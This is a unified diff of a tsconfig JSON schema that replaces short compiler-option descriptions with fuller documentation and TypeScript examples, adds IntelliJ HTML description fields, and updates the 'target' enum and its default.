+              "markdownDescription": "Enables the generation of [sourcemap files](https://developer.mozilla.org/docs/Tools/Debugger/How_to/Use_a_source_map).\nThese files allow debuggers and other tools to display the original TypeScript source code when actually working with the emitted JavaScript files.\nSource map files are emitted as `.js.map` (or `.jsx.map`) files next to the corresponding `.js` output file.\n\nThe `.js` files will in turn contain a sourcemap comment to indicate where the files are to external tools, for example:\n\n```ts\n// helloWorld.ts\nexport declare const helloWorld = \"hi\";\n```\n\nCompiling with `sourceMap` set to `true` creates the following JavaScript file:\n\n```js\n// helloWorld.js\n\"use strict\";\nObject.defineProperty(exports, \"__esModule\", { value: true });\nexports.helloWorld = \"hi\";\n//# sourceMappingURL=// helloWorld.js.map\n```\n\nAnd this also generates this json map:\n\n```json\n// helloWorld.js.map\n{\n  \"version\": 3,\n  \"file\": \"ex.js\",\n  \"sourceRoot\": \"\",\n  \"sources\": [\"../ex.ts\"],\n  \"names\": [],\n  \"mappings\": \";;AAAa,QAAA,UAAU,GAAG,IAAI,CAAA\"\n}\n```",
+              "x-intellij-html-description": "<p>Enables the generation of <a href=\"https://developer.mozilla.org/docs/Tools/Debugger/How_to/Use_a_source_map\">sourcemap files</a>.\nThese files allow debuggers and other tools to display the original TypeScript source code when actually working with the emitted JavaScript files.\nSource map files are emitted as <code>.js.map</code> (or <code>.jsx.map</code>) files next to the corresponding <code>.js</code> output file.</p>\n<p>The <code>.js</code> files will in turn contain a sourcemap comment to indicate where the files are to external tools, for example:</p>\n<pre><code class=\"language-ts\">// helloWorld.ts\nexport declare const helloWorld = &quot;hi&quot;;\n</code></pre>\n<p>Compiling with <code>sourceMap</code> set to <code>true</code> creates the following JavaScript file:</p>\n<pre><code class=\"language-js\">// helloWorld.js\n&quot;use strict&quot;;\nObject.defineProperty(exports, &quot;__esModule&quot;, { value: true });\nexports.helloWorld = &quot;hi&quot;;\n//# sourceMappingURL=// helloWorld.js.map\n</code></pre>\n<p>And this also generates this json map:</p>\n<pre><code class=\"language-json\">// helloWorld.js.map\n{\n  &quot;version&quot;: 3,\n  &quot;file&quot;: &quot;ex.js&quot;,\n  &quot;sourceRoot&quot;: &quot;&quot;,\n  &quot;sources&quot;: [&quot;../ex.ts&quot;],\n  &quot;names&quot;: [],\n  &quot;mappings&quot;: &quot;;;AAAa,QAAA,UAAU,GAAG,IAAI,CAAA&quot;\n}\n</code></pre>\n"
             },
             "sourceRoot": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the root path for debuggers to find the reference source code.",
+              "description": "Specify the location where a debugger should locate TypeScript files instead of relative source locations.\nThis string is treated verbatim inside the source-map where you can use a path or a URL:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"sourceMap\": true,\n    \"sourceRoot\": \"https://my-website.com/debug/source/\"\n  }\n}\n```\n\nWould declare that `index.js` will have a source file at `https://my-website.com/debug/source/index.ts`.",
               "type": ["string", "null"],
-              "markdownDescription": "Specify the root path for debuggers to find the reference source code.\n\nSee more: https://www.typescriptlang.org/tsconfig#sourceRoot"
+              "markdownDescription": "Specify the location where a debugger should locate TypeScript files instead of relative source locations.\nThis string is treated verbatim inside the source-map where you can use a path or a URL:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"sourceMap\": true,\n    \"sourceRoot\": \"https://my-website.com/debug/source/\"\n  }\n}\n```\n\nWould declare that `index.js` will have a source file at `https://my-website.com/debug/source/index.ts`.",
+              "x-intellij-html-description": "<p>Specify the location where a debugger should locate TypeScript files instead of relative source locations.\nThis string is treated verbatim inside the source-map where you can use a path or a URL:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;sourceMap&quot;: true,\n    &quot;sourceRoot&quot;: &quot;https://my-website.com/debug/source/&quot;\n  }\n}\n</code></pre>\n<p>Would declare that <code>index.js</code> will have a source file at <code>https://my-website.com/debug/source/index.ts</code>.</p>\n"
             },
             "suppressExcessPropertyErrors": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable reporting of excess property errors during the creation of object literals.",
+              "description": "This disables reporting of excess property errors, such as the one shown in the following example:\n\n```ts twoslash\n// @errors: 2322\ntype Point = { x: number; y: number };\nconst p: Point = { x: 1, y: 3, m: 10 };\n```\n\nThis flag was added to help people migrate to the stricter checking of new object literals in [TypeScript 1.6](https://typescriptlang.org/docs/handbook/release-notes/typescript-1-6.html#stricter-object-literal-assignment-checks).\n\nWe don't recommend using this flag in a modern codebase, you can suppress one-off cases where you need it using `// @ts-ignore`.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable reporting of excess property errors during the creation of object literals.\n\nSee more: https://www.typescriptlang.org/tsconfig#suppressExcessPropertyErrors"
+              "markdownDescription": "This disables reporting of excess property errors, such as the one shown in the following example:\n\n```ts twoslash\n// @errors: 2322\ntype Point = { x: number; y: number };\nconst p: Point = { x: 1, y: 3, m: 10 };\n```\n\nThis flag was added to help people migrate to the stricter checking of new object literals in [TypeScript 1.6](https://typescriptlang.org/docs/handbook/release-notes/typescript-1-6.html#stricter-object-literal-assignment-checks).\n\nWe don't recommend using this flag in a modern codebase, you can suppress one-off cases where you need it using `// @ts-ignore`.",
+              "x-intellij-html-description": "<p>This disables reporting of excess property errors, such as the one shown in the following example:</p>\n<pre><code class=\"language-ts\">// @errors: 2322\ntype Point = { x: number; y: number };\nconst p: Point = { x: 1, y: 3, m: 10 };\n</code></pre>\n<p>This flag was added to help people migrate to the stricter checking of new object literals in <a href=\"https://typescriptlang.org/docs/handbook/release-notes/typescript-1-6.html#stricter-object-literal-assignment-checks\">TypeScript 1.6</a>.</p>\n<p>We don&#39;t recommend using this flag in a modern codebase, you can suppress one-off cases where you need it using <code>// @ts-ignore</code>.</p>\n"
             },
             "suppressImplicitAnyIndexErrors": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Suppress `noImplicitAny` errors when indexing objects that lack index signatures.",
+              "description": "Turning `suppressImplicitAnyIndexErrors` on suppresses reporting the error about implicit anys when indexing into objects, as shown in the following example:\n\n```ts twoslash\n// @noImplicitAny: true\n// @suppressImplicitAnyIndexErrors: false\n// @strict: true\n// @errors: 7053\nconst obj = { x: 10 };\nconsole.log(obj[\"foo\"]);\n```\n\nUsing `suppressImplicitAnyIndexErrors` is quite a drastic approach. It is recommended to use a `@ts-ignore` comment instead:\n\n```ts twoslash\n// @noImplicitAny: true\n// @strict: true\nconst obj = { x: 10 };\n// @ts-ignore\nconsole.log(obj[\"foo\"]);\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Suppress `noImplicitAny` errors when indexing objects that lack index signatures.\n\nSee more: https://www.typescriptlang.org/tsconfig#suppressImplicitAnyIndexErrors"
+              "markdownDescription": "Turning `suppressImplicitAnyIndexErrors` on suppresses reporting the error about implicit anys when indexing into objects, as shown in the following example:\n\n```ts twoslash\n// @noImplicitAny: true\n// @suppressImplicitAnyIndexErrors: false\n// @strict: true\n// @errors: 7053\nconst obj = { x: 10 };\nconsole.log(obj[\"foo\"]);\n```\n\nUsing `suppressImplicitAnyIndexErrors` is quite a drastic approach. It is recommended to use a `@ts-ignore` comment instead:\n\n```ts twoslash\n// @noImplicitAny: true\n// @strict: true\nconst obj = { x: 10 };\n// @ts-ignore\nconsole.log(obj[\"foo\"]);\n```",
+              "x-intellij-html-description": "<p>Turning <code>suppressImplicitAnyIndexErrors</code> on suppresses reporting the error about implicit anys when indexing into objects, as shown in the following example:</p>\n<pre><code class=\"language-ts\">// @noImplicitAny: true\n// @suppressImplicitAnyIndexErrors: false\n// @strict: true\n// @errors: 7053\nconst obj = { x: 10 };\nconsole.log(obj[&quot;foo&quot;]);\n</code></pre>\n<p>Using <code>suppressImplicitAnyIndexErrors</code> is quite a drastic approach. It is recommended to use a <code>@ts-ignore</code> comment instead:</p>\n<pre><code class=\"language-ts\">// @noImplicitAny: true\n// @strict: true\nconst obj = { x: 10 };\n// @ts-ignore\nconsole.log(obj[&quot;foo&quot;]);\n</code></pre>\n"
             },
             "stripInternal": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable emitting declarations that have `@internal` in their JSDoc comments.",
+              "description": "Do not emit declarations for code that has an `@internal` annotation in its JSDoc comment.\nThis is an internal compiler option; use at your own risk, because the compiler does not check that the result is valid.\nIf you are searching for a tool to handle additional levels of visibility within your `d.ts` files, look at [api-extractor](https://api-extractor.com/).\n\n```ts twoslash\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n```\n\nWith the flag set to `false` (default):\n\n```ts twoslash\n// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n```\n\nWith `stripInternal` set to `true` the `d.ts` emitted will be redacted.\n\n```ts twoslash\n// @stripinternal\n// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n```\n\nThe JavaScript output is still the same.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Disable emitting declarations that have `@internal` in their JSDoc comments.\n\nSee more: https://www.typescriptlang.org/tsconfig#stripInternal"
+              "markdownDescription": "Do not emit declarations for code that has an `@internal` annotation in its JSDoc comment.\nThis is an internal compiler option; use at your own risk, because the compiler does not check that the result is valid.\nIf you are searching for a tool to handle additional levels of visibility within your `d.ts` files, look at [api-extractor](https://api-extractor.com/).\n\n```ts twoslash\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n```\n\nWith the flag set to `false` (default):\n\n```ts twoslash\n// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n```\n\nWith `stripInternal` set to `true` the `d.ts` emitted will be redacted.\n\n```ts twoslash\n// @stripinternal\n// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n```\n\nThe JavaScript output is still the same.",
+              "x-intellij-html-description": "<p>Do not emit declarations for code that has an <code>@internal</code> annotation in its JSDoc comment.\nThis is an internal compiler option; use at your own risk, because the compiler does not check that the result is valid.\nIf you are searching for a tool to handle additional levels of visibility within your <code>d.ts</code> files, look at <a href=\"https://api-extractor.com/\">api-extractor</a>.</p>\n<pre><code class=\"language-ts\">/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n</code></pre>\n<p>With the flag set to <code>false</code> (default):</p>\n<pre><code class=\"language-ts\">// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n</code></pre>\n<p>With <code>stripInternal</code> set to <code>true</code> the <code>d.ts</code> emitted will be redacted.</p>\n<pre><code class=\"language-ts\">// @stripinternal\n// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\n/**\n * Days available in a week\n * @internal\n */\nexport const daysInAWeek = 7;\n\n/** Calculate how much someone earns in a week */\nexport function weeklySalary(dayRate: number) {\n  return daysInAWeek * dayRate;\n}\n</code></pre>\n<p>The JavaScript output is still the same.</p>\n"
             },
             "target": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Set the JavaScript language version for emitted JavaScript and include compatible library declarations.",
+              "description": "Modern browsers support all ES6 features, so `ES6` is a good choice.\nYou might choose to set a lower target if your code is deployed to older environments, or a higher target if your code is guaranteed to run in newer environments.\n\nThe `target` setting changes which JS features are downleveled and which are left intact.\nFor example, an arrow function `() => this` will be turned into an equivalent `function` expression if `target` is ES5 or lower.\n\nChanging `target` also changes the default value of [`lib`](https://typescriptlang.org/tsconfig/#lib).\nYou may \"mix and match\" `target` and `lib` settings as desired, but you could just set `target` for convenience.\n\nFor developer platforms like Node there are baselines for the `target`, depending on the type of platform and its version. You can find a set of community organized TSConfigs at [tsconfig/bases](https://github.com/tsconfig/bases#centralized-recommendations-for-tsconfig-bases), which has configurations for common platforms and their versions.\n\nThe special `ESNext` value refers to the highest version your version of TypeScript supports.\nThis setting should be used with caution, since it doesn't mean the same thing between different TypeScript versions and can make upgrades less predictable.",
               "type": ["string", "null"],
-              "default": "ES3",
+              "default": "es5",
               "anyOf": [
                 {
                   "enum": [
-                    "ES3",
-                    "ES5",
-                    "ES6",
-                    "ES2015",
-                    "ES2016",
-                    "ES2017",
-                    "ES2018",
-                    "ES2019",
-                    "ES2020",
-                    "ES2021",
-                    "ES2022",
-                    "ES2023",
-                    "ES2024",
-                    "ESNext"
+                    "es3",
+                    "es5",
+                    "es6",
+                    "es2015",
+                    "es2016",
+                    "es2017",
+                    "es2018",
+                    "es2019",
+                    "es2020",
+                    "es2021",
+                    "es2022",
+                    "es2023",
+                    "es2024",
+                    "es2025",
+                    "esnext"
                   ]
                 },
                 {
-                  "pattern": "^([Ee][Ss]([356]|(20(1[56789]|2[01234]))|[Nn][Ee][Xx][Tt]))$"
+                  "pattern": "^([Ee][Ss]([356]|(20(1[56789]|2[012345]))|[Nn][Ee][Xx][Tt]))$"
                 }
               ],
-              "markdownDescription": "Set the JavaScript language version for emitted JavaScript and include compatible library declarations.\n\nSee more: https://www.typescriptlang.org/tsconfig#target"
+              "markdownDescription": "Modern browsers support all ES6 features, so `ES6` is a good choice.\nYou might choose to set a lower target if your code is deployed to older environments, or a higher target if your code is guaranteed to run in newer environments.\n\nThe `target` setting changes which JS features are downleveled and which are left intact.\nFor example, an arrow function `() => this` will be turned into an equivalent `function` expression if `target` is ES5 or lower.\n\nChanging `target` also changes the default value of [`lib`](https://typescriptlang.org/tsconfig/#lib).\nYou may \"mix and match\" `target` and `lib` settings as desired, but you could just set `target` for convenience.\n\nFor developer platforms like Node there are baselines for the `target`, depending on the type of platform and its version. You can find a set of community organized TSConfigs at [tsconfig/bases](https://github.com/tsconfig/bases#centralized-recommendations-for-tsconfig-bases), which has configurations for common platforms and their versions.\n\nThe special `ESNext` value refers to the highest version your version of TypeScript supports.\nThis setting should be used with caution, since it doesn't mean the same thing between different TypeScript versions and can make upgrades less predictable.",
+              "x-intellij-html-description": "<p>Modern browsers support all ES6 features, so <code>ES6</code> is a good choice.\nYou might choose to set a lower target if your code is deployed to older environments, or a higher target if your code is guaranteed to run in newer environments.</p>\n<p>The <code>target</code> setting changes which JS features are downleveled and which are left intact.\nFor example, an arrow function <code>() =&gt; this</code> will be turned into an equivalent <code>function</code> expression if <code>target</code> is ES5 or lower.</p>\n<p>Changing <code>target</code> also changes the default value of <a href=\"https://typescriptlang.org/tsconfig/#lib\"><code>lib</code></a>.\nYou may &quot;mix and match&quot; <code>target</code> and <code>lib</code> settings as desired, but you could just set <code>target</code> for convenience.</p>\n<p>For developer platforms like Node there are baselines for the <code>target</code>, depending on the type of platform and its version. You can find a set of community organized TSConfigs at <a href=\"https://github.com/tsconfig/bases#centralized-recommendations-for-tsconfig-bases\">tsconfig/bases</a>, which has configurations for common platforms and their versions.</p>\n<p>The special <code>ESNext</code> value refers to the highest version your version of TypeScript supports.\nThis setting should be used with caution, since it doesn&#39;t mean the same thing between different TypeScript versions and can make upgrades less predictable.</p>\n"
             },
             "useUnknownInCatchVariables": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Default catch clause variables as `unknown` instead of `any`.",
+              "description": "In TypeScript 4.0, support was added to allow changing the type of the variable in a catch clause from `any` to `unknown`. Allowing for code like:\n\n```ts twoslash\n// @useUnknownInCatchVariables\ntry {\n  // ...\n} catch (err: unknown) {\n  // We have to verify err is an\n  // error before using it as one.\n  if (err instanceof Error) {\n    console.log(err.message);\n  }\n}\n```\n\nThis pattern ensures that error handling code becomes more comprehensive because you cannot guarantee that the object being thrown _is_ a Error subclass ahead of time. With the flag `useUnknownInCatchVariables` enabled, then you do not need the additional syntax (`: unknown`) nor a linter rule to try enforce this behavior.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Default catch clause variables as `unknown` instead of `any`.\n\nSee more: https://www.typescriptlang.org/tsconfig#useUnknownInCatchVariables"
+              "markdownDescription": "In TypeScript 4.0, support was added to allow changing the type of the variable in a catch clause from `any` to `unknown`. Allowing for code like:\n\n```ts twoslash\n// @useUnknownInCatchVariables\ntry {\n  // ...\n} catch (err: unknown) {\n  // We have to verify err is an\n  // error before using it as one.\n  if (err instanceof Error) {\n    console.log(err.message);\n  }\n}\n```\n\nThis pattern ensures that error handling code becomes more comprehensive because you cannot guarantee that the object being thrown _is_ a Error subclass ahead of time. With the flag `useUnknownInCatchVariables` enabled, then you do not need the additional syntax (`: unknown`) nor a linter rule to try enforce this behavior.",
+              "x-intellij-html-description": "<p>In TypeScript 4.0, support was added to allow changing the type of the variable in a catch clause from <code>any</code> to <code>unknown</code>. Allowing for code like:</p>\n<pre><code class=\"language-ts\">// @useUnknownInCatchVariables\ntry {\n  // ...\n} catch (err: unknown) {\n  // We have to verify err is an\n  // error before using it as one.\n  if (err instanceof Error) {\n    console.log(err.message);\n  }\n}\n</code></pre>\n<p>This pattern ensures that error handling code becomes more comprehensive because you cannot guarantee that the object being thrown <em>is</em> a Error subclass ahead of time. With the flag <code>useUnknownInCatchVariables</code> enabled, then you do not need the additional syntax (<code>: unknown</code>) nor a linter rule to try enforce this behavior.</p>\n"
             },
             "watch": {
               "description": "Watch input files.",
@@ -720,193 +755,187 @@
               "default": "useFsEvents"
             },
             "experimentalDecorators": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable experimental support for TC39 stage 2 draft decorators.",
+              "description": "Enables [experimental support for decorators](https://github.com/tc39/proposal-decorators), which is a version of decorators that predates the TC39 standardization process.\n\nDecorators are a language feature which hasn't yet been fully ratified into the JavaScript specification.\nThis means that the implementation version in TypeScript may differ from the implementation in JavaScript when it is decided by TC39.\n\nYou can find out more about decorator support in TypeScript in [the handbook](https://typescriptlang.org/docs/handbook/decorators.html).",
               "type": ["boolean", "null"],
-              "markdownDescription": "Enable experimental support for TC39 stage 2 draft decorators.\n\nSee more: https://www.typescriptlang.org/tsconfig#experimentalDecorators"
+              "markdownDescription": "Enables [experimental support for decorators](https://github.com/tc39/proposal-decorators), which is a version of decorators that predates the TC39 standardization process.\n\nDecorators are a language feature which hasn't yet been fully ratified into the JavaScript specification.\nThis means that the implementation version in TypeScript may differ from the implementation in JavaScript when it is decided by TC39.\n\nYou can find out more about decorator support in TypeScript in [the handbook](https://typescriptlang.org/docs/handbook/decorators.html).",
+              "x-intellij-html-description": "<p>Enables <a href=\"https://github.com/tc39/proposal-decorators\">experimental support for decorators</a>, which is a version of decorators that predates the TC39 standardization process.</p>\n<p>Decorators are a language feature which hasn&#39;t yet been fully ratified into the JavaScript specification.\nThis means that the implementation version in TypeScript may differ from the implementation in JavaScript when it is decided by TC39.</p>\n<p>You can find out more about decorator support in TypeScript in <a href=\"https://typescriptlang.org/docs/handbook/decorators.html\">the handbook</a>.</p>\n"
             },
             "emitDecoratorMetadata": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Emit design-type metadata for decorated declarations in source files.",
+              "description": "Enables experimental support for emitting type metadata for decorators which works with the module [`reflect-metadata`](https://www.npmjs.com/package/reflect-metadata).\n\nFor example, here is the TypeScript\n\n```ts twoslash\n// @experimentalDecorators\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n```\n\nWith `emitDecoratorMetadata` not set to true (default) the emitted JavaScript is:\n\n```ts twoslash\n// @experimentalDecorators\n// @showEmit\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n```\n\nWith `emitDecoratorMetadata` set to true the emitted JavaScript is:\n\n```ts twoslash\n// @experimentalDecorators\n// @showEmit\n// @emitDecoratorMetadata\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n```",
               "type": ["boolean", "null"],
-              "markdownDescription": "Emit design-type metadata for decorated declarations in source files.\n\nSee more: https://www.typescriptlang.org/tsconfig#emitDecoratorMetadata"
+              "markdownDescription": "Enables experimental support for emitting type metadata for decorators which works with the module [`reflect-metadata`](https://www.npmjs.com/package/reflect-metadata).\n\nFor example, here is the TypeScript\n\n```ts twoslash\n// @experimentalDecorators\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n```\n\nWith `emitDecoratorMetadata` not set to true (default) the emitted JavaScript is:\n\n```ts twoslash\n// @experimentalDecorators\n// @showEmit\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n```\n\nWith `emitDecoratorMetadata` set to true the emitted JavaScript is:\n\n```ts twoslash\n// @experimentalDecorators\n// @showEmit\n// @emitDecoratorMetadata\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n```",
+              "x-intellij-html-description": "<p>Enables experimental support for emitting type metadata for decorators which works with the module <a href=\"https://www.npmjs.com/package/reflect-metadata\"><code>reflect-metadata</code></a>.</p>\n<p>For example, here is the TypeScript</p>\n<pre><code class=\"language-ts\">// @experimentalDecorators\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n</code></pre>\n<p>With <code>emitDecoratorMetadata</code> not set to true (default) the emitted JavaScript is:</p>\n<pre><code class=\"language-ts\">// @experimentalDecorators\n// @showEmit\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n</code></pre>\n<p>With <code>emitDecoratorMetadata</code> set to true the emitted JavaScript is:</p>\n<pre><code class=\"language-ts\">// @experimentalDecorators\n// @showEmit\n// @emitDecoratorMetadata\nfunction LogMethod(target: any, propertyKey: string | symbol, descriptor: PropertyDescriptor) {\n  console.log(target);\n  console.log(propertyKey);\n  console.log(descriptor);\n}\n\nclass Demo {\n  @LogMethod\n  public foo(bar: number) {\n    // do nothing\n  }\n}\n\nconst demo = new Demo();\n</code></pre>\n"
             },
             "allowUnusedLabels": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable error reporting for unused labels.",
+              "description": "When:\n\n- `undefined` (default) provide suggestions as warnings to editors\n- `true` unused labels are ignored\n- `false` raises compiler errors about unused labels\n\nLabels are very rare in JavaScript and typically indicate an attempt to write an object literal:\n\n```ts twoslash\n// @errors: 7028\n// @allowUnusedLabels: false\nfunction verifyAge(age: number) {\n  // Forgot 'return' statement\n  if (age > 18) {\n    verified: true;\n  }\n}\n```",
               "type": ["boolean", "null"],
-              "markdownDescription": "Disable error reporting for unused labels.\n\nSee more: https://www.typescriptlang.org/tsconfig#allowUnusedLabels"
+              "markdownDescription": "When:\n\n- `undefined` (default) provide suggestions as warnings to editors\n- `true` unused labels are ignored\n- `false` raises compiler errors about unused labels\n\nLabels are very rare in JavaScript and typically indicate an attempt to write an object literal:\n\n```ts twoslash\n// @errors: 7028\n// @allowUnusedLabels: false\nfunction verifyAge(age: number) {\n  // Forgot 'return' statement\n  if (age > 18) {\n    verified: true;\n  }\n}\n```",
+              "x-intellij-html-description": "<p>When:</p>\n<ul>\n<li><code>undefined</code> (default) provide suggestions as warnings to editors</li>\n<li><code>true</code> unused labels are ignored</li>\n<li><code>false</code> raises compiler errors about unused labels</li>\n</ul>\n<p>Labels are very rare in JavaScript and typically indicate an attempt to write an object literal:</p>\n<pre><code class=\"language-ts\">// @errors: 7028\n// @allowUnusedLabels: false\nfunction verifyAge(age: number) {\n  // Forgot &#39;return&#39; statement\n  if (age &gt; 18) {\n    verified: true;\n  }\n}\n</code></pre>\n"
             },
             "noImplicitReturns": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable error reporting for codepaths that do not explicitly return in a function.",
+              "description": "When enabled, TypeScript will check all code paths in a function to ensure they return a value.\n\n```ts twoslash\n// @errors: 2366 2322\nfunction lookupHeadphonesManufacturer(color: \"blue\" | \"black\"): string {\n  if (color === \"blue\") {\n    return \"beats\";\n  } else {\n    \"bose\";\n  }\n}\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Enable error reporting for codepaths that do not explicitly return in a function.\n\nSee more: https://www.typescriptlang.org/tsconfig#noImplicitReturns"
+              "markdownDescription": "When enabled, TypeScript will check all code paths in a function to ensure they return a value.\n\n```ts twoslash\n// @errors: 2366 2322\nfunction lookupHeadphonesManufacturer(color: \"blue\" | \"black\"): string {\n  if (color === \"blue\") {\n    return \"beats\";\n  } else {\n    \"bose\";\n  }\n}\n```",
+              "x-intellij-html-description": "<p>When enabled, TypeScript will check all code paths in a function to ensure they return a value.</p>\n<pre><code class=\"language-ts\">// @errors: 2366 2322\nfunction lookupHeadphonesManufacturer(color: &quot;blue&quot; | &quot;black&quot;): string {\n  if (color === &quot;blue&quot;) {\n    return &quot;beats&quot;;\n  } else {\n    &quot;bose&quot;;\n  }\n}\n</code></pre>\n"
             },
             "noUncheckedIndexedAccess": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Add `undefined` to a type when accessed using an index.",
+              "description": "TypeScript has a way to describe objects which have unknown keys but known values on an object, via index signatures.\n\n```ts twoslash\ninterface EnvironmentVars {\n  NAME: string;\n  OS: string;\n\n  // Unknown properties are covered by this index signature.\n  [propName: string]: string;\n}\n\ndeclare const env: EnvironmentVars;\n\n// Declared as existing\nconst sysName = env.NAME;\nconst os = env.OS;\n//    ^?\n\n// Not declared, but because of the index\n// signature, then it is considered a string\nconst nodeEnv = env.NODE_ENV;\n//    ^?\n```\n\nTurning on `noUncheckedIndexedAccess` will add `undefined` to any un-declared field in the type.\n\n```ts twoslash\ninterface EnvironmentVars {\n  NAME: string;\n  OS: string;\n\n  // Unknown properties are covered by this index signature.\n  [propName: string]: string;\n}\n// @noUncheckedIndexedAccess\n// ---cut---\ndeclare const env: EnvironmentVars;\n\n// Declared as existing\nconst sysName = env.NAME;\nconst os = env.OS;\n//    ^?\n\n// Not declared, but because of the index\n// signature, then it is considered a string\nconst nodeEnv = env.NODE_ENV;\n//    ^?\n```",
               "type": ["boolean", "null"],
-              "markdownDescription": "Add `undefined` to a type when accessed using an index.\n\nSee more: https://www.typescriptlang.org/tsconfig#noUncheckedIndexedAccess"
